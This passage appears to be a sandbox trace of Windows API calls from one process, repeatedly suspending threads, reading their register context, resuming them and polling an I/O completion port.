	[0250.740] GetThreadContext (in: hThread=0x1b0, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x70703ff508, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x7fff4f8d5ef4, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0250.882] ResumeThread (hThread=0x1b0) returned 0x1
	[0250.882] CloseHandle (hObject=0x1b0) returned 1
	[0250.883] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0251.061] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0251.061] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xd0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x1b0) returned 1
	[0251.061] SuspendThread (hThread=0x1b0) returned 0x0
	[0251.061] GetThreadContext (in: hThread=0x1b0, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000bbd60, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x11493cf, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0251.174] ResumeThread (hThread=0x1b0) returned 0x1
	[0251.174] CloseHandle (hObject=0x1b0) returned 1
	[0251.174] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0251.286] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0251.286] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0251.448] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0251.448] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x184, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x1a8) returned 1
	[0251.448] SuspendThread (hThread=0x1a8) returned 0x0
	[0251.448] GetThreadContext (in: hThread=0x1a8, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x7070dff928, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x7fff4f8d5ef4, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0251.573] ResumeThread (hThread=0x1a8) returned 0x1
	[0251.574] CloseHandle (hObject=0x1a8) returned 1
	[0251.574] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0251.734] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0251.734] SetEvent (hEvent=0x188) returned 1
	[0251.734] SetEvent (hEvent=0xfc) returned 1
	[0251.734] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0252.034] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0252.034] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x1ac) returned 1
	[0252.034] SuspendThread (hThread=0x1ac) returned 0x0
	[0252.035] GetThreadContext (in: hThread=0x1ac, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000c5cc8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x11dc5d4, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0252.298] ResumeThread (hThread=0x1ac) returned 0x1
	[0252.298] CloseHandle (hObject=0x1ac) returned 1
	[0252.299] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0252.459] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0252.459] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0252.617] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0252.617] SetEvent (hEvent=0xfc) returned 1
	[0252.617] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0252.767] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0252.767] SetEvent (hEvent=0xfc) returned 1
	[0252.767] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0253.008] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0253.008] SetEvent (hEvent=0xfc) returned 1
	[0253.008] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0253.167] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0253.167] SetEvent (hEvent=0xfc) returned 1
	[0253.167] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0253.347] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0253.347] SetEvent (hEvent=0xfc) returned 1
	[0253.347] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
